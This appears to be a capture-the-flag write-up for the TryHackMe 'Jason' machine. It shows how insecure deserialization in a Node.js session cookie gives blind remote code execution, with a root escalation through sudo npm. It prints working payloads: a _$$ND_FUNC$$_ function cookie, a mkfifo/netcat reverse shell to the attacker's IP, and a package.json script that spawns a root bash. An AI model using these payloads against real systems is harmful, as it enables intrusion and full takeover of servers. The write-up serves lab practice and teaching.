Intro

THM: Jason is an easy box where we’ll practice exploiting insecure deserialization in NodeJS. To make it a little more interesting, this is a blind vulnerability, meaning we’ll have to find some other way besides checking if our input is reflected back to us to verify code execution.

Recon

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Jason]                                                                            
└─$ sudo rustscan -a 10.10.1.28 -- -sV -oA nmap1
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 61

Enumeration

Let’s look at website running on port 80. Right away we see a note that says it was “Built with Nodejs”.

There isn’t much going on here besides a simple form to sign up for updates via email.

We can view source on the page to take a deeper look.

<script>
  document.getElementById("signup").addEventListener("click", function () {
    var date = new Date();
    date.setTime(date.getTime() + -1 * 24 * 60 * 60 * 1000);
    var expires = "; expires=" + date.toGMTString();
    document.cookie = "session=foobar" + expires + "; path=/";
    const Http = new XMLHttpRequest();
    console.log(location);
    const url =
      window.location.href + "?email=" + document.getElementById("fname").value;
    Http.open("POST", url);
    Http.send();
    setTimeout(function () {
      window.location.reload();
    }, 500);
  });
</script>

When you click the submit button, the browser makes a POST request back to this same page, and appends the email address supplied through the form as a query string. Then the page gets reloaded.

After the page reloads we can see our input is reflected in the page content. This is a good sign to take an even deeper look.

The HTTP response from the POST request includes a session cookie that looks base64 encoded.

HTTP/1.1 200 OK
Set-Cookie: session=eyJlbWFpbCI6ImFzZGZAdGVzdC5jb20ifQ==; Max-Age=900000; HttpOnly, Secure
Content-Type: text/html
Date: Mon, 11 Oct 2021 23:21:45 GMT
Connection: close
Content-Length: 3559

Decoding the string shows the cookie is a JSON object containing the email adress we submitted through the form.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Jason]
└─$ echo "eyJlbWFpbCI6ImFzZGZAdGVzdC5jb20ifQ==" | base64 -d
{"email":"asdf@test.com"}

On the next GET request to / (the request that was triggered by window.location.reload()) that cookie is passed back to the server, and in the response our input is reflected.

This is a good indication we should test for a deserialization vulnerability.

The general idea is we will craft our own serialized JSON payload that will include some javascript code we want to execute on the system. Then we’ll base64 encode it and replace the session cookie with our encoded payload so that when the application deserializes the cookie, our code will get automatically executed.

For more information on how this works and different methods of exploitation check out HackTricks.

It takes some trial and error to figure out the context of what exactly the app is doing. It’s not eval‘ing our input directly, but must be deserializing, saving to a variable, and then printing the value of the email field.

If we use an auto-executing payload like: {"email":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"} the value gets reflected as undefined.

Instead of stuffing our payload in the email field, we can leave that as is and add a second field containing our autoexecuting payload. If this works we would have blind RCE.

How do we verify code execution if it’s blind?

In our terminal we can use tcpdump to capture ping traffic, and we’ll modify the payload to ping us rather than printing the output of a command.

In a terminal run sudo tcpdump -i tun0 icmp to capture ICMP traffic on the VPN interface.

We can use the following payload to execute a ping:

{"email":"test@test.com","rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ping -c 2 10.13.17.127', function(error, stdout, stderr) { console.log(stdout) }); }()"}
┌──(brian㉿kali)-[~]
└─$ sudo tcpdump -i tun0 icmp                                                                                         1 ⨯
[sudo] password for brian: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
20:34:05.356086 IP 10.10.1.28 > 10.13.17.127: ICMP echo request, id 1, seq 1, length 64
20:34:05.361637 IP 10.13.17.127 > 10.10.1.28: ICMP echo reply, id 1, seq 1, length 64
20:34:06.295449 IP 10.10.1.28 > 10.13.17.127: ICMP echo request, id 1, seq 2, length 64
20:34:06.295468 IP 10.13.17.127 > 10.10.1.28: ICMP echo reply, id 1, seq 2, length 64

Exploitation

Sweet! Now we have proven we can execute arbitrary commands on the server. Next let’s try for a shell.

We can kill tcpdump and open a netcat listener with nc -nlvp 4444, and cycle through various reverse shells until we find one that works:

{"email":"test@test.com","rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.13.17.127 4444 >/tmp/f', function(error, stdout, stderr) { console.log(stdout) }); }()"}

User Flag

dylan@jason:/opt/webapp$ cd ~
dylan@jason:~$ ls -la
total 40
drwxr-xr-x 5 dylan dylan 4096 Jun 10 05:38 .
drwxr-xr-x 3 root  root  4096 Jun 10 03:48 ..
lrwxrwxrwx 1 dylan dylan    9 Jun 10 04:16 .bash_history -> /dev/null
-rw-r--r-- 1 dylan dylan  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 dylan dylan 3771 Feb 25  2020 .bashrc
drwx------ 2 dylan dylan 4096 Jun 10 03:49 .cache
drwx------ 3 dylan dylan 4096 Jun 10 05:04 .config
drwxrwxr-x 3 dylan dylan 4096 Jun 10 04:17 .local
-rw-r--r-- 1 dylan dylan  807 Feb 25  2020 .profile
-rw-rw-r-- 1 dylan dylan   66 Jun 10 04:17 .selected_editor
-rw-r--r-- 1 dylan dylan    0 Jun 10 03:50 .sudo_as_admin_successful
-rw-r--r-- 1 dylan dylan   33 Jun 10 04:13 user.txt
dylan@jason:~$ wc -c user.txt 
33 user.txt

Privilege Escalation

Running sudo -l to check if we have any sudo privileges, we can see we’re able to run /usr/bin/npm * as root with no password.

Let’s cd /tmp where we can make a package.json file. We’ll make a simple npm-script that launches bash, and since we’ll run npm as sudo, the new process will have root privileges.

dylan@jason:~$ cd /tmp
dylan@jason:/tmp$ echo '{"scripts":{"privesc":"/bin/bash"}}' > package.json
dylan@jason:/tmp$ sudo /usr/bin/npm run privesc

> @ privesc /tmp
> /bin/bash

root@jason:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@jason:/tmp# cd /root
root@jason:~# wc -c root.txt
33 root.txt